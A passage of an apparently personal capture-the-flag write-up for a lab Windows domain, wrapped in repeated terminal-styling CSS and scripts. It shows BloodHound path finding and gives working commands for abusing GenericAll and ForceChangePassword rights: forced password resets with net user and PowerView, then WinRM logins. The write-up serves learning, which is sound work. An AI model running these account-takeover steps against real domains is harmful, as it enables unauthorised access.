.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The next step is to launch the Neo4J server and the BloodHound GUI:</p>

<ul>
  <li>Run <code class="language-plaintext highlighter-rouge">sudo neo4j console</code>. It starts the <code class="language-plaintext highlighter-rouge">neo4j</code> server, and a local HTTP link can be found in the command output.</li>
</ul>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo neo4j console</span>
<span class="cmd-output">
Directories in use:
home:         /usr/share/neo4j
..SNIP..
2025-01-07 13:00:41.459+0000 INFO  Bolt enabled on localhost:7687.
2025-01-07 13:00:42.236+0000 INFO  Remote interface available at <span style="color: lightgreen;">http://localhost:7474/</span>
2025-01-07 13:00:42.241+0000 INFO  id: 741EC451083D9897905DE7F2F4A41CB94BC94B4DD769C789F16890188744330E
2025-01-07 13:00:42.241+0000 INFO  name: system
2025-01-07 13:00:42.241+0000 INFO  creationDate: 2025-01-07T13:00:39.388Z
2025-01-07 13:00:42.241+0000 INFO  Started.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<ul>
  <li>
    <p>Open the link in a browser and log in to the Neo4J server. The default username and password is both <code class="language-plaintext highlighter-rouge">neo4j</code>.</p>

    <p><img src="/assets/images/posts/administrator/2.png" alt="" /></p>
  </li>
  <li>
    <p>In another terminal session, run <code class="language-plaintext highlighter-rouge">bloodhound</code> to open the BloodHound GUI. Click on “Upload data” and upload all 7 JSON files created earlier.</p>

    <p><img src="/assets/images/posts/administrator/3.png" alt="" /></p>
  </li>
</ul>

<p>Now BloodHound has ingested all the data and is ready for us to use.</p>

<p><img src="/assets/images/posts/administrator/4.png" alt="" /></p>

<h3 id="path-finding">Path Finding:</h3>

<p>I’ll start from <code class="language-plaintext highlighter-rouge">olivia</code>, as it’s the only account I have control of. The user can be selected from the search bar.</p>

<p><img src="/assets/images/posts/administrator/5.png" alt="" /></p>

<p>The tab on the left provides an overview of the selected node, displaying properties like the object ID and the number of group membership it has.</p>

<p>Most importantly, it shows if there’s any direct outbound control on other objects. These are objects that the user can take control of via some permissions or misoconfigurations.</p>

<p><img src="/assets/images/posts/administrator/6.png" alt="" /></p>

<p>Clicking on it shows an attack graph. This indicates that <code class="language-plaintext highlighter-rouge">olivia</code> can move laterally to <code class="language-plaintext highlighter-rouge">michael</code> by abusing its <code class="language-plaintext highlighter-rouge">GenericAll</code> DACL. We’ll discuss this in more details below.</p>

<p><img src="/assets/images/posts/administrator/7.png" alt="" /></p>

<p>Knowing that <code class="language-plaintext highlighter-rouge">michael</code> is reachable, I’ll check his outbound control and discovers it can force change <code class="language-plaintext highlighter-rouge">benjamin</code>’s password, which can also be abused for lateral movement.</p>

<p><img src="/assets/images/posts/administrator/8.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">benjamin</code> does not have outbound control over any objects, meaning that with the current privileges and information, we cannot move any further. However, the user is in the Share Moderators group, which may provide extra permissions on FTP and SMB. This makes the user itself a high-value target.</p>

<p><img src="/assets/images/posts/administrator/9.png" alt="" /></p>

<p>To summarize, this is the attack path to reach <code class="language-plaintext highlighter-rouge">benjamin</code>:</p>

<p><img src="/assets/images/posts/administrator/10.png" alt="" /></p>

<h3 id="dacl-abuse---genericall">DACL Abuse - <code class="language-plaintext highlighter-rouge">GenericAll</code>:</h3>

<p>A Discretionary Access Control List (DACL) is a key component of Windows security, governing what actions users and groups can and cannot perform on an object. It consists of multiple Access Control Entries (ACEs), each explicitly defining the rights granted or denied to a specific user or group. These rights ranges from basic permissions like read, write and execute to more advanced ones such as modifying permissions and changing ownership. <a href="https://www.thehacker.recipes/ad/movement/dacl/">This post</a> provides a more in-depth look at DACLs and how they can be abused.</p>

<p>In this scenario, <code class="language-plaintext highlighter-rouge">olivia</code> is granted <code class="language-plaintext highlighter-rouge">GenericAll</code> rights on <code class="language-plaintext highlighter-rouge">michael</code>. This essentially gives <code class="language-plaintext highlighter-rouge">olivia</code> full control of his account, including the ability to force change his password without knowledge of the current one. The attack could be done simply by running <code class="language-plaintext highlighter-rouge">net user</code> to change his password:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\olivia\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">net user michael letmein123 /domain</span>

<span class="win-output">The command completed successfully.</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>With the new password, I can log in via WinRM as michael:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">evil-winrm -u 'michael' -p 'letmein123' -i administrator.htb</span>
<span class="cmd-output">
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\michael\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">administrator\michael</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="dacl-abuse---forcechangepassword">DACL Abuse - <code class="language-plaintext highlighter-rouge">ForceChangePassword</code>:</h3>

<p><code class="language-plaintext highlighter-rouge">michael</code> has <code class="language-plaintext highlighter-rouge">ForceChangePassword</code> rights on <code class="language-plaintext highlighter-rouge">benjamin</code>. As the name implies, <code class="language-plaintext highlighter-rouge">michael</code> can also force change his password similar to the above step. However, the <code class="language-plaintext highlighter-rouge">net user</code> command failed here for some reasons.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\michael\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">net user benjamin letmeinagain123 /domain</span>

<span class="win-output">net.exe : System error 5 has occurred.
    + CategoryInfo          : NotSpecified: (System error 5 has occurred.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
Access is denied.</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>Luckily there are multiple ways to force a password change. <a href="https://www.hackingarticles.in/abusing-ad-dacl-forcechangepassword/">This post</a> showed the same can be done using <a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1">PowerView</a>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\michael\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">upload PowerView.ps1</span>

<span class="win-output">Info: Uploading /home/ch3ng/machines/administrator/PowerView.ps1 to C:\Users\michael\Documents\PowerView.ps1
                                        
Data: 1027036 bytes of 1027036 bytes copied
                                        
Info: Upload successful!</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\michael\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">Import-Module .\PowerView.ps1</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\michael\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">$NewPassword = ConvertTo-SecureString 'letmeinagain123' -AsPlainText -Force</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\michael\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">Set-DomainUserPassword -Identity 'benjamin' -AccountPassword $NewPassword</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">benjamin</code> is not in the Remote Management Users group, so I cannot use it to log in to WinRM. Instead, I can list the SMB shares with <code class="language-plaintext highlighter-rouge">crackmapexec</code>, proving the password change has taken effect.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
